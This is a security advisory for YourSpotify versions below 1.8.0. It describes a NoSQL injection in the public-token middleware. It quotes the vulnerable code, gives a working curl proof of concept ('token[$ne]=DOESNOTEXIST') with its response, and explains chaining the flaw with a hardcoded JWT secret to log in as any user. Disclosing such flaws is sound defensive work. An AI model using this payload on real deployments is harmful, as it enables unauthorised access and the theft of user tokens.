Skip to content

NoSQL Injection Leading to Authentication Bypass

Moderate
Yooooomi published GHSA-c8wf-wcjc-2pvm Mar 13, 2024

Package

No package listed

Affected versions

<1.8.0

Patched versions

1.8.0

Description

Summary

YourSpotify version <1.8.0 is vulnerable to NoSQL injection in the public access token processing logic. Attackers can fully bypass the public token authentication mechanism, regardless if a public token has been generated before or not, without any user interaction or prerequisite knowledge.

The current CVSS score of this advisory was scored as if the public token mechanism was working as intended and only granting basic read access to YourSpotify data. It is important to note that this vulnerability can be combined with GHSA-3782-758f-mj85 to retrieve Spotify API access tokens without any authentication and with GHSA-gvcr-g265-j827 to obtain a full authentication bypass and log in as any YourSpotify user without any prerequisite knowledge. In that case, the combined vulnerability chain can be scored as CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, resulting in a total score of 9.1 - Critical.

Details

The public access token verification middleware used in YourSpotify is vulnerable to NoSQL injection. Normally, the public token can be used by appending the token parameter to the query parameters of any request, for example:

curl "http://backend.yourspotify.internal:8080/me?token=6f4f79d6-b957-4487-8d97-23569b6e7935"

The parameter is evaluated by the baselogged middleware in server/src/tools/middleware.ts. In this middleware, the token value is extracted out of the req.query object and directly passed into the getUserFromField function as shown below:

const baselogged = async (req: Request, useQueryToken = false) => {
const auth = req.cookies.token;
if (!auth && useQueryToken) {
const { token } = req.query;
if (!token) {
return null;
}
const user = await getUserFromField('publicToken', token, false);
if (!user) {
return null;
}
return user;
}

The getUserFromField function is located in the file server/src/database/queries/user.ts. This function directly passes the value parameter (which is the token parameter directly from the request) into a MongoDB query, as shown below:

export const getUserFromField = async <F extends keyof User>(
field: F,
value: User[F],
crash = true,
) => {
const user = UserModel.findOne({ [field]: value }, '-tracks');
if (!user && crash) {
throw new NoResult();
}
return user;
};

Express allows creating objects out of query parameters by using the ?param[key]=value syntax. For example, this query string would create the following object in req.query:

{
    param: {
        key: "value"
    }
}

This can be exploited by passing a NoSQL query operator in the token parameter to make the user query always return a user.
For example, the following request can be used to bypass public access token verification at the /me endpoint:

curl -g 'http://backend.yourspotify.internal:8080/me?token[$ne]=DOESNOTEXIST'

Using Mongoose debug logging, the resulting request to the database can be identified as the following:

users.findOne({ publicToken: { '$ne': 'DOESNOTEXIST' } }, { projection: { tracks: 0 } })

As this query tries to find a user whose public token is not equal to DOESNOTEXIST, it will always return a valid user, which causes YourSpotify to acccept this request as authenticated with a public token for that user. If multiple users with different access tokens exist, a similar technique using the $regex query operator can be used to make the query return a different user.

This technique can also be used for all other endpoints accepting public tokens, such as /accounts. Access to /accounts allows an attacker to obtain the id of all users. This id can then be used in conjunction with the hardcoded JWT secret vulnerability GHSA-gvcr-g265-j827 to fully log in as any user.

Proof of Concept

The following example curl command sends a request with a token parameter containing a NoSQL injection payload to the /me endpoint:

curl -g 'http://backend.yourspotify.internal:8080/me?token[$ne]=DOESNOTEXIST'

The (formatted and redacted) JSON response to this command is shown below:

{
  "status": true,
  "user": {
    "settings": {
      "historyLine": false,
      "preferredStatsPeriod": "month",
      "nbElements": 10,
      "metricUsed": "number",
      "darkMode": "follow",
      "blacklistedArtists": []
    },
    "_id": "65ce739fca48dd258976a58a",
    "username": "<REDACTED>",
    "admin": true,
    "spotifyId": "<REDACTED>",
    "expiresIn": 1708283396572,
    "accessToken": "<REDACTED>",
    "refreshToken": "<REDACTED>",
    "lastTimestamp": 1708274387373,
    "lastImport": null,
    "publicToken": "6f4f79d6-b957-4487-8d97-23569b6e7935",
    "__v": 0,
    "firstListenedAt": "2024-02-15T15:03:15.946Z",
    "id": "65ce739fca48dd258976a58a"
  }
}

This response shows that the NoSQL injection payload in the token parameter completely circumvented the public access token mechanism.

Impact

This vulnerability allows an attacker to fully bypass the public token authentication mechanism, regardless if a public token has been generated before or not, without any user interaction or prerequisite knowledge.

This technique can also be used for all other endpoints accepting public tokens, such as /accounts. Access to /accounts allows an attacker to obtain the id of all users. This id can then be used in conjunction with the hardcoded JWT secret vulnerability GHSA-gvcr-g265-j827 to fully log in as any user.

Severity

Moderate
5.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2024-28192

Weaknesses

Credits